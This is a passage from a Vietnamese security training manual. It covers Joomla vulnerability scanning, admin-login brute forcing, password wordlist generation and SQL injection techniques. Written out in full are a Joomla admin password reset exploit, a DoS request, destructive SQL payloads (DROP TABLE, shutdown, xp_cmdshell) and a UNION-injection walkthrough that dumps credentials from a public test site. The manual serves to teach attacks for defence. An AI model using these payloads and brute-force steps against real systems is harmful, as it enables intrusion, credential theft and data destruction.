Versions Affected: Any

Check: /administrator/

Exploit: The default /administrator directory is detected. Attackers can

bruteforce administrator accounts. Read:

http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS

%20TO%20PROTECT.pdf

Vulnerable? Yes

Page 62: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

62

# 3

Info -> Core: Multiple XSS/CSRF Vulnerability

Versions Affected: 1.5.9 <=

Check: /?1.5.9-x

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 4.

Exploit: A series of XSS and CSRF faults exist in the administrator

application. Affected administrator components include com_admin,

com_media, com_search. Both com_admin and com_search contain

XSS vulnerabilities, and com_media contains 2 CSRF vulnerabilities.

Vulnerable? Yes

# 4

Info -> Core: JSession SSL Session Disclosure Vulnerability

Versions effected: Joomla! 1.5.8 <=

Check: /?1.5.8-x

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 5.

Exploit: When running a site under SSL (the entire site is forced to be

under ssl), Joomla! does not set the SSL flag on the cookie. This can

allow someone monitoring the network to find the cookie related to the

session.

Vulnerable? Yes

# 5

Info -> Core: Frontend XSS Vulnerability

Versions effected: 1.5.10 <=

Check: /?1.5.10-x

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 6.

Exploit: Some values were output from the database without being

properly escaped. Most strings in question were sourced from the

administrator panel. Malicious normal admin can leverage it to gain

access to super admin.

Vulnerable? Yes

# 6

Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered

Vulnerability

Versions effected: 1.5.11 <=

Check: /?1.5.11-x-http_ref

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 9.

Exploit: An attacker can inject JavaScript or DHTML code that will be

executed in the context of targeted user browser, allowing the attacker

to steal cookies. HTTP_REFERER variable is not properly parsed.

Vulnerable? Yes

# 7

Info -> Core: Frontend XSS - PHP_SELF not properly filtered

Vulnerability

Page 63: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

63

Versions effected: 1.5.11 <=

Check: /?1.5.11-x-php-s3lf

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 10.

Exploit: An attacker can inject JavaScript code in a URL that will be

executed in the context of targeted user browser.

Vulnerable? Yes

# 8

Info -> Core: Authentication Bypass Vulnerability

Versions effected: Joomla! 1.5.3 <=

Check: /administrator/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 11.

Exploit: Backend accepts any password for custom Super

Administrator when LDAP enabled

Vulnerable? Yes

# 9

Info -> Core: Path Disclosure Vulnerability

Versions effected: Joomla! 1.5.3 <=

Check: /?1.5.3-path-disclose

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 12.

Exploit: Crafted URL can disclose absolute path

Vulnerable? Yes

# 10

Info -> Core: User redirected Spamming Vulnerability

Versions effected: Joomla! 1.5.3 <=

Check: /?1.5.3-spam

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 13.

Exploit: User redirect spam

Vulnerable? Yes

# 12

Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability

Versions effected: 1.0.13 <=

Check: /administrator/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 15.

Exploit: It requires an administrator to be logged in and to be tricked

into a specially crafted webpage.

Vulnerable? Yes

# 13

Info -> CorePlugin: Xstandard Editor X_CMS_LIBRARY_PATH Local

Directory Traversal Vulnerability

Versions effected: Joomla! 1.5.8 <=

Check: /plugins/editors/xstandard/attachmentlibrary.php

Page 64: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

64

Exploit: Submit new header X_CMS_LIBRARY_PATH with value ../ to

/plugins/editors/xstandard/attachmentlibrary.php

Vulnerable? Yes

# 14

Info -> CoreLibrary: phpmailer Remote Code Execution Vulnerability

Versions effected: Joomla! 1.5.0 Beta/Stable

Check: /libraries/phpmailer/phpmailer.php

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 21.

Exploit: N/A

Vulnerable? Yes

# 15

Info -> CoreComponent: Joomla Remote Admin Password Change

Vulnerability

Versions Affected: 1.5.5 <=

Check: /components/com_user/controller.php

Exploit: 1. Go to url :

target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK. 3. Write new password

for admin 4. Go to url : target.com/administrator/ 5. Login admin with

new password

Vulnerable? Yes

# 21

Info -> CoreComponent: com_content XSS Vulnerability

Version Affected: Joomla! 1.5.7 <=

Check: /components/com_content/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 30.

Exploit: The defaults on com_content article submission allow entry of

dangerous HTML tags (script, etc). This only affects users with

access level Author or higher, and only if you have not set filtering

options in com_content configuration.

Vulnerable? Yes

# 22

Info -> CoreComponent: com_weblinks XSS Vulnerability

Version Affected: Joomla! 1.5.7 <=

Check: /components/com_weblinks/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 31.

Exploit: [Requires valid user account] com_weblinks allows raw HTML

into the title and description tags for weblink submissions (from both

the administrator and site submission forms).

Vulnerable? Yes

# 23

Info -> CoreComponent: com_mailto Email Spam Vulnerability

Version Affected: Joomla! 1.5.6 <=

Page 65: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

65

Check: /components/com_mailto/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 32.

Exploit: The mailto component does not verify validity of the URL prior

to sending.

Vulnerable? Yes

# 25

Info -> CoreComponent: com_content XSS Vulnerability

Version Affected: Joomla! 1.5.9 <=

Check: /components/com_content/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 34.

Exploit: A XSS vulnerability exists in the category view of

com_content.

Vulnerable? Yes

# 26

Info -> CoreComponent: com_installer CSRF Vulnerability

Versions effected: Joomla! 1.5.0 Beta

Check: /administrator/components/com_installer/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 36.

Exploit: N/A

Vulnerable? Yes

# 28

Info -> CoreComponent: com_poll (mosmsg) Memory Consumption

DOS Vulnerability

Versions effected: 1.0.7 <=

Check: /components/com_poll/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 38.

Exploit: Send request

/index.php?option=com_poll&task=results&id=14&mosmsg=DOS@H

ERE<<>AAA<><>

Vulnerable? Yes

# 30

Info -> CoreComponent: com_mailto timeout Vulnerability

Versions effected: 1.5.13 <=

Check: /components/com_mailto/

Argument "0-stable" isn't numeric in int at ./joomscan.pl line 2285,

<JO> line 40.

Exploit: [Requires a valid user account] In com_mailto, it was possible

to bypass timeout protection against sending automated emails.

Vulnerable? Yes

o Các lỗ hổng chính trong quá trình scan được liệt kê phía trên.

Page 66: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

66

- Ngoài ra chúng ta có thể sử dụng công cụ metasploit được tích hợp sẳn trong

kali để scan joomla version.

o Metasploit framework là một framework mã nguồn mở phát triển nhằm

sử dụng các shellcode (payload) để tấn công máy có lỗ hổng.Cùng với

một số bộ công cụ bảo mật khác,Metasploit có cơ sở dữ liệu chứa hàng

ngàn shellcode ,hàng ngàn exploit của các hệ điều hành,các chương trình

hay dịch vụ.Trong quá trình phát triển metasploit liên tục cập nhật các

Exploit...Nên càng ngày nó càng trở thành một bộ công cụ mạnh mẽ.

o Mở metasploit và tiến hành sử dụng payload scan joomla với target:

1.2.3.3

Msfconsole

msf > use auxiliary/scanner/http/joomla_version

msf auxiliary(scanner/http/joomla_version) > set RHOSTS

1.2.3.3/24

msf auxiliary(scanner/http/joomla_version) > set threads 200

msf auxiliary(scanner/http/joomla_version) > show options

Module options (auxiliary/scanner/http/joomla_version):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format

type:host:port[,type:host:port][...]

RHOSTS 1.2.3.3/24 yes The target address

range or CIDR identifier

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for

outgoing connections

TARGETURI / yes The base path to the

Joomla application

THREADS 200 yes The number of

concurrent threads

VHOST no HTTP server virtual host

msf auxiliary(scanner/http/joomla_version) > run

Kết quả:

Server: Apache/2.4.6 => linux

PHP: version 5.4.16

Joomla version: 1.5.0

Page 67: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

67

b. Joomla bruteforce attack

- Sau quá trình scan version của joomla victim ta đã biết được version hiện tại mà

victim đang sử dụng, đồng thời tìm ra các component tồn tại các lỗ hổng, khiến

cho attacker có thể xâm nhập vào cũng như tiến hành các cuộc tấn công, một

trong số đó là kiểu tấn công bruteforce

- Bắt đầu khai thác victim: 1.2.3.3

o Dirb http://1.2.3.3

o Result:

GENERATED WORDS: 4612

---- Scanning URL: http://1.2.3.3/ ----

==> DIRECTORY: http://1.2.3.3/administrator/

==> DIRECTORY: http://1.2.3.3/cache/

+ http://1.2.3.3/cgi-bin/ (CODE:403|SIZE:210)

==> DIRECTORY: http://1.2.3.3/components/

==> DIRECTORY: http://1.2.3.3/images/

==> DIRECTORY: http://1.2.3.3/includes/

+ http://1.2.3.3/index.php (CODE:200|SIZE:5903)

==> DIRECTORY: http://1.2.3.3/language/

==> DIRECTORY: http://1.2.3.3/libraries/

==> DIRECTORY: http://1.2.3.3/logs/

==> DIRECTORY: http://1.2.3.3/media/

==> DIRECTORY: http://1.2.3.3/modules/

==> DIRECTORY: http://1.2.3.3/phpmyadmin/

==> DIRECTORY: http://1.2.3.3/phpMyAdmin/

==> DIRECTORY: http://1.2.3.3/plugins/

+ http://1.2.3.3/robots.txt (CODE:200|SIZE:304)

==> DIRECTORY: http://1.2.3.3/templates/

==> DIRECTORY: http://1.2.3.3/tmp/

==> DIRECTORY: http://1.2.3.3/xmlrpc/

o Kiểm tra các trang chính

Trang administrator:

Page 68: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

68

Trang phpmyadmin

o Tiến hành khai thác account admin bằng công cụ BJ-oomla

Link download: https://sites.google.com/site/thezonesec/S3K4-

Team_BJ-oomla_v1.00.tar.gz?attredirects=0&d=1

Tool này dùng để bruteforce admin page ở joomla từ 1.5 trở

xuống

Giải nén và đưa ra ngoài Desktop, mở terminal và chạy command:

Python BJ-oomla.py –h

http://1.2.3.3/administrator/index.php -U username.txt -P

password.txt

Trong đó:

o –h : chỉ ra đường dẫn trang login admin page

o –U : file chứa danh sách các username

o –u : username

o –P : file chứa danh sách các password

o –p : password

o -v verbose

o -s signal - default:"Administration Login"

Ta được kết quả:

o Username: admin

o Password: admin

Tiến hành đăng nhập vào admin page

Page 69: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

69

Đăng nhập thành công

c. Wordlist (dictionary)

- Dictionary attack là một kĩ thuật giúp máy tính có thể bẻ khóa được các cơ chế

mã hóa hoặc cơ chế xác thực hoặc mật khẩu (password). Về cơ bản, Dictionary

attack cũng gần giống với kĩ thuật Brute Force tuy nhiên điều khác nhau ở đây là

Dictionary attack dựa trên dictionary (hay còn được gọi là wordlist) chứ ko vét

cạn như Brute Force.

- Wordlist trên thực tế là một tệp gồm rất nhiều các chuỗi kí tự thuộc nhiều loại

giống như mật khẩu hay gặp, từ ngữ phổ biến, tên người,….

- Các tools có thể tạo wordlist:

o CUPP: CUPP là một script được viết bằng Python, nó giúp chúng ta tạo

ra một wordlist dò mật khẩu sát với thông tin cá nhân của victim nhất,

thông tin đầu vào nhạy cảm mà người dùng hay sử dụng để đặt làm mật

khẩu như tên, ngày sinh, nickname, ...

Install:

Mkdir CUPP

Cd CUPP

Apt-get update && apt-get install git

git clone https://github.com/Mebus/cupp.git

Sau khi tải về ta được thư mục cupp/ gồm các file:

o CHANGELOG.md cupp3.py cupp.cfg cupp.py

LICENSE README.md test_cupp.py

Config file cupp.cfg

Nano cupp.cfg

Ở đây có rất nhiều cấu hình, nhưng chúng ta chỉ cần tập trung vào

một chỗ, đó là sau dòng [leet]. Ở phần này ta sẽ bổ sung thêm các

biến thể ký tự, mỗi biến thể là một dòng nhé, ví dụ như:

A=@

S=$

cấu hình này sẽ giúp cho CUPP tạo ra wordlist có tỷ lệ trúng cao

hơn. Và còn một chỗ nữa là sau dòng [specialchars], chỗ này ta

sẽ thêm vào các ký tự đặc biệt có thể xuất hiện trong mật khẩu.

Page 70: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

70

Sau khi chỉnh sửa xong thì lưu lại.

Cú pháp: ./cupp.py hoặc python cupp.py

Các option:

-h: hiển thị nội dung trợ giúp

-i: trả lời các câu hỏi để tạo 1 wordlist theo thông tin cá

nhân

- Sau khi trả lời xong, cupp sẽ tạo 1 wordlist với tên: gino.txt

-w: sử dụng wordlist có sẳn

-l: tải 1 wordlist từ repository

Page 71: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

71

-a: Sử dụng thư viện Alecto DB. Đây là thư viện các

username và password được tổng hợp

-v: kiểm tra phiên bản của CUPP.

o Crunch: là một công cụ tuyệt vời cho những ai muốn tấn công Brute

Force attack vì nó có thể tạo ra một danh sách mật khẩu từ 5 ký tự đến

25 ký tự chuẩn xác

Crunch có giao diện làm việc khá đơn giản chúng ta chỉ cần tập

trung vào hai thông số cơ bản là <min> và <max> với :

<min>: số kí tự tối thiểu

<max>: số kí tự tối đa

Để có pass list tối ưu hơn tý ta có thể sử dòng lệnh :

# crunch <min> <max> <charset> -t <pattern> – o <path

file>

với:

o <charset>: kí tự có trong mật khẩu

o <pattern>: các kí tự bạn đã biết chắc

o <path file>: đừng dẫn file được tạo

VD: ví dụ ta sẽ tạo ra một pass list là số diện thoại với các

điều kiện mình biết được

o có 6 kí tự

o các kí tự cấu tạo nên nó là 0123456789

o số 0 luôn đứng đầu tiên

Ta sẽ dùng lệnh như sau :

o # crunch 10 10 012345 -t 0@@@@@ -o list.txt

Ta được wordlist có tên list.txt chứa password

Page 72: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

72

Chứa các password đã được define trước.

Note: min và max càng cao thì kích thước file wordlist càng

lớn nên cân nhắc trước khi tạo.

2. Các loại tấn công trên Liferay Portal

- Khái niệm: Liferay Portal là giải pháp Cổng điện tử được thiết kế phù hợp với

các mô hình ứng dụng trong các cơ quan, tổ chức và doanh nghiệp có nhu cầu

phát triển hệ thống thông tin trên môi trường web nhằm thực hiện các giao dịch

trực tuyến và sử dụng Intranet/Internet như một công cụ thiết yếu trong các hoạt

động, cung cấp thông tin, giao tiếp, quản lý và điều hành, trao đổi và cộng tác.

o Là công cụ cho phép các cơ quan, tổ chức tự định nghĩa và quản trị

“Cổng thông tin/giao tiếp điện tử” của riêng mình, tự quản nội dung thông

tin và các dịch vụ trên mạng Intranet/Internet.

o Cho phép vận hành một quy trình xuất bản thông tin và các ứng dụng

phần mềm trên quan điểm tích hợp chúng vào trong một giao diện

website duy nhất.

o Liferay Portal sử dụng công nghệ mới nhất của Java, J2EE, tích hợp kiến

trúc hướng dịch vụ SOA (Services-Oriented Architecture) và công nghệ

Web 2.0.

o Hỗ trợ rộng rãi các chuẩn công nghiệp và chuẩn mở (SOAP, LDAP,

XML/XSL, SSL, JSR 170, JSR168, WSRP, Webservices, …).

- Các loại tấn công phổ biến trên Liferay Portal: SQL Injectio, XSS, Malware,

Phising, DoS, Session Hijacking,…

Page 73: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

73

3. SQL Injection

Khái niệm và kiến thức cần biết

3.1.Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở nên

phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để

chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command

vào input trước khi chuyển cho ứng dụng web xử lí, chúng ta có thể login mà không

cần username và password, remote execution, dump data và lấy root của SQL

server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như

Internet Explorer, Netscape, Lynx, Firefox,…

3.2.Kiến thức cần biết

- Dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường

thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay

không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.

- Dấu thăng (#) và dấu (): các dấu này để đánh dấu chú thích, nghĩa là những kí tự

đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích

được bỏ qua khi thực hiện truy vấn.

- Dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy

vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn

- Kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).

- MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ

ASP để thiết kế.

- MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX

(ASP.Net) để thiết kế.

- MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế

(MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).

- Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng,

các hệ thống này cần chế độ bảo mật rất cao!

3.3.Các bước thực hiện SQL Injection:

- Check

- Order By (Đếm số cột liên quan trong câu query mà URL của site đó chạy)

- Union Select

3.4 Các dạng tấn công:

3.4.1 Dạng tấn công sử dụng câu lệnh SELECT

- Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Chúng ta có tể gặp các website tin tức có các tham số được truyền vào như: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn ('), dấu nháy kép ("), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% có khả năng khai thác được lỗi này).

- Ví dụ

o http://www.ampak.com.tw/product.php?id=22

- là một website bị lỗi SQL Injection thì chúng ta sẽ thử với

Page 74: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

74

o http://www.ampak.com.tw/product.php?id=22'

- hoặc

o http://www.ampak.com.tw/product.php?id=22'

- Đều trả về trang lỗi trong các tình huống thông thường, URL hiển thị nội dung của tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, và từ đó bắt đầu cho một cuộc tấn công bất hợp pháp, ví dụ như: 0 OR 1=1, vd:

o http://www.ampak.com.tw/product.php?id=0 or 1=1

- Câu truy vấn SQL lúc này sẽ không trả về trang lỗi mặc dù chúng ta không có sản phẩm nào có ID = 0, vì nó sẽ thực hiện câu lệnh:

o SELECT * FROM Products WHERE Product_ID=0 or 1=1

- Tương tự như trên, kẻ tấn công có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập thêm lệnh tiếp theo: '; DROP TABLE users -- Lúc này, chương trình sẽ chạy câu truy vấn thực hiện việc xóa bảng users.

3.4.2 Dạng tấn công sử dụng câu lệnh INSERT

- Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:

o INSERT INTO TableName VALUES('1st Value', '2nd Value', '3rd Value') - Chắc chắn sẽ bị lỗi Sql Injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ

như: o ' + (SELECT TOP 1 FieldName FROM TableName) + '

- Lúc này câu truy vấn sẽ là: o INSERT INTP TableName VALUES(‘ ‘ + (SELECT TOP 1 FieldName

FROM TableName) + ‘ ‘, ‘abc’, ‘def’ - Khi đó, lúc thực hiện lệnh xem thông tin, xem như chúng ta đã yêu cầu thực hiện

thêm một lệnh nữa đó là: o SELECT TOP 1 FieldName FROM Tablename

3.4.3 Dạng tấn công sử dụng stored-procedures

- Stored Procedure được sử dụng trong lập trình web với mục đích nhằm giảm sự

phức tạp trong ứng dụng và tránh sự tấn công trong kỹ thuật SQL Injection. Tuy

nhiên những kẻ tấn công vẫn có thể lợi dụng những stored procedure để tấn công

vào hệ thống. Việc tấn công này sẽ gây tác hại rất lớn nếu ứng dụng được thực

thi với quyền quản trị hệ thống ‘sa’ .

- Ví dụ 1: stored procedure splogin gồm hai tham số là username và password,

nếu kẻ tấn công nhập: Username: thanhcong Password: ' ; shutdown- - Lệnh gọi

stored procedure như sau:

o EXEC splogin 'thanhcong','';shutdown- -'

o Lệnh shutdown thực hiện dừng sql server ngay lập tức.

- Ví dụ 2:

o EXEC xp_cmdshell 'cmd.exe dir C: '

Page 75: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

75

o Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt

server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

3.4.4 Blind SQL injection

- SQL injection cho phép chúng ta khai thác thông tin từ cơ sở dữ liệu. Riêng với

blind, chúng ta phải đoán thông tin dần dần dựa theo kết quả trả về là true hay

false. Do đó sẽ dẫn tới một vấn đề đó là nếu thông tin chúng ta cần lấy ví du: tên

cơ sở dữ liệu, tên bảng, tên user quá dài thì việc đoán sẽ gặp trở ngại lớn về thời

gian.

3.4.4.1. Tìm kiếm nhị phân trong khai thác Blind SQL Injection

o Đây là một thuật toán tìm kiếm khả phổ biến. Về nguyên tắc nếu ta cần

tìm một phần tử nào đó trong tập hợp đã được sắp xếp, ta chỉ cần xác

định xem nó thuộc vào khoảng nào, từ đó dần dần thu hẹp phạm vi tìm.

o Cụ thể : có dãy số : 1 2 3 4 5 6 7 8 9 . Giờ ta cần tìm phần tử 9 ở vị trí

nào, thay vì ta duyệt và kiểm tra từng phần tử của dãy ta có thể tiến hành

như sau:

Kiểm tra 9 lớn hay nhỏ hơn phần từ ở giữa là 5 trong dãy trên ta

thấy rõ ràng lớn hơn => ta được khoảng đầu tiên 6 7 8 9

Cứ thế tìm tới khi chỉ còn 2 phần từ 8, 9 ta chỉ so sánh 1 lần là tìm

được giá trị mong muốn.

Thuật toán này rất tối ưu về thời gian và có độ phức tạp O(log n).

o Quay trở lại với việc khai thác lỗi bind SQLi, ta có thể tìm 1 ký tự đúng

bằng thuât toán trên bằng việc so sánh với mã ascii.

Ví dụ: and ascii(substring((select username from jos_users),1,1) >

124

o Với câu truy vấn trên, ta sẽ lấy ra ký tự đầu tiên của user để so sánh và

tìm ký tự đúng. Tìm kiếm nhị phân là phương pháp được dùng khá phổ

biến trong kĩ thuật khai thác bind SQLi.

3.4.4.2. Dịch bit trong khai thác Blind SQL Injection

o Thông thường một ký tự bất kỳ sẽ được biểu diễn qua 8 bit nhị phân

(theo ascii) do đó chúng ta sẽ dịch dần từng bit cho tới khi tìm được ký tự

đúng.

o Cụ thể: chúng ta sẽ tiến hành dịch phải từ 7 bit tới 0 bit. Như ta đã biết

với mỗi bit nhị phân bất kỳ sẽ chỉ có 2 lựa chọn hoặc là 1 hoặc là 0. Với

mỗi lần chúng ta sẽ kiểm tra chính xác vị trí đó sẽ nhận giá trị nào. Cứ

dần như thế tới khi dịch đủ 7 bit ta sẽ đoán thành công mã ascii của ký tự

cần tìm.

o Ví dụ: chữ cái đầu tên của database là ‘a’ sẽ có mã ascii là 97.

Ta tiến hành dịch phải 7 bit và đoán xem nó là 0 hay 1

Sau khi được bit đầu tiên ta lại thử điền vào vị trí bít thứ 6 và so

sánh tiếp để tìm.

Cứ làm tuần tự như trên ta chỉ cần thực hiện 7 lần để đoán chính

xác 1 ký tự

o Kĩ thuật này đơn giản và thực hiện dễ dàng hơn so với tìm kiếm nhị phân

và cũng đươc dùng tương đối phổ biến. Thông qua hai kĩ thuật trên ta có

Page 76: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

76

thể dễ dàng lấy thông tin từ database và tiết kiệm thời gian rất nhiều so

với cách tìm kiếm tuần tự thông thường.

3.5 Demo tấn công SQL Injection

- Xác định website lỗi:

o Ví dụ,trang victim http://testphp.vulnweb.com/product.php?pic=1 thêm

dấu ‘ phía sau nếu web hiển thị như thế này thì có thể khai thác sql

injection.

- Xác định số column của table trong database của victim

http://testphp.vulnweb.com/product.php?pic=1 order by 11—

o Nếu trang victim không hiển thị lỗi thì đó là số column cần tìm

o Ngược lại nếu hiển thị lỗi thì số lượng column chưa đúng, thay bằng các

giá trị cho đến khi đúng thì dừng lại.

Page 77: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

77

o Ta xác định được table trong database của victim có 11 column.

- Xác định các table bị lỗi

o Sử dụng select để xác định table lỗi:

http://testphp.vulnweb.com/product.php?pic=999 union select 1,2,3,4,5,6,7,8,9,10,11-- -

Có các column : 2,3,7,9 bị lỗi

- Kiểm tra 1 vài thông tin của database

http://testphp.vulnweb.com/product.php?pic=999 union select 1, version(), database(),

4,5,6,user(),8,9,10,11-- -

o SQL version: 5.1.73

o Tên Database: acuart

o User hiện tại: acuart@localhost

- Liệt kê các table trong database:

http://testphp.vulnweb.com/product.php?pic=999 union select

1,unhex(hex(group_concat(table_name))),database(),4,5,6,user(),8,9,10,11 from

information_schema.tables where table_schema=database()-- -

Page 78: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

78

o Ta được các table trong database, trong đó chúng ta sẽ khai thác table

này.

- Xác định các column trong table users

http://testphp.vulnweb.com/product.php?pic=999 union select

1,unhex(hex(group_concat(column_name))),database(),4,5,6,user(),8,9,10,11 from

information_schema.columns where table_name=CHAR(117,115,101,114,115)-- -

o với table được encode dạng mysql char()

- Xem thông tin các column trong table users (uname, pass, name, email)

http://testphp.vulnweb.com/product.php?pic=999 union select

1,unhex(hex(group_concat(uname,0x3a,pass,0x3a,name,0x3a,email))),database(),4,5,6,use

r(),8,9,10,11 from users-- -

Page 79: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

79

o Username: test

o Password: test

o Name: cavaleiropv

o Email: email

- Sử dụng username và password đó để đăng nhập lại trang web.

- Đăng nhập thành công và thông tin user hiện lên

Page 80: Ph - sogtvt.daklak.gov.vnsogtvt.daklak.gov.vn/Upload/Images/Files/tailieu-daklak-2018_in.pdf · SQL Injection ... mạng Internet và có thể truy cập tới thông qua một tên

80

4 XSS (Cross Site Scripting)

- Cross-site scripting là một lỗ hổng phổ biến trong ứng dụng web. Để khai thác

một lỗ hổng XSS, hacker sẽ chèn mã độc thông qua các đoạn script để thực thi

chúng ở phía client. Thông thường, các cuộc tấn công XSS được sử dụng để

vượt qua các kiểm soát truy cập và mạo danh người dùng.

- Phân loại: Có 3 loại Reflected XSS, Stored XSS và DOM-based XSS

4.1 Reflected XSS

- Có đến 75% kỹ thuật XSS dựa trên Reflected XSS. Gọi là reflected(phản xạ) bởi

vì trong kịch bản khai thác loại này, hacker phải gửi cho nạn nhân một URL có

chứa đoạn mã nguy hiểm(thường là javascript). Nạn nhân chỉ cần request đến

URL này thì ngay lập tức hacker sẽ nhận được respond chứa kết quả mong

muốn(tính phản xạ thể hiện ở đây). Ngoài ra nó còn được biết đến với tên gọi first-

order XSS.

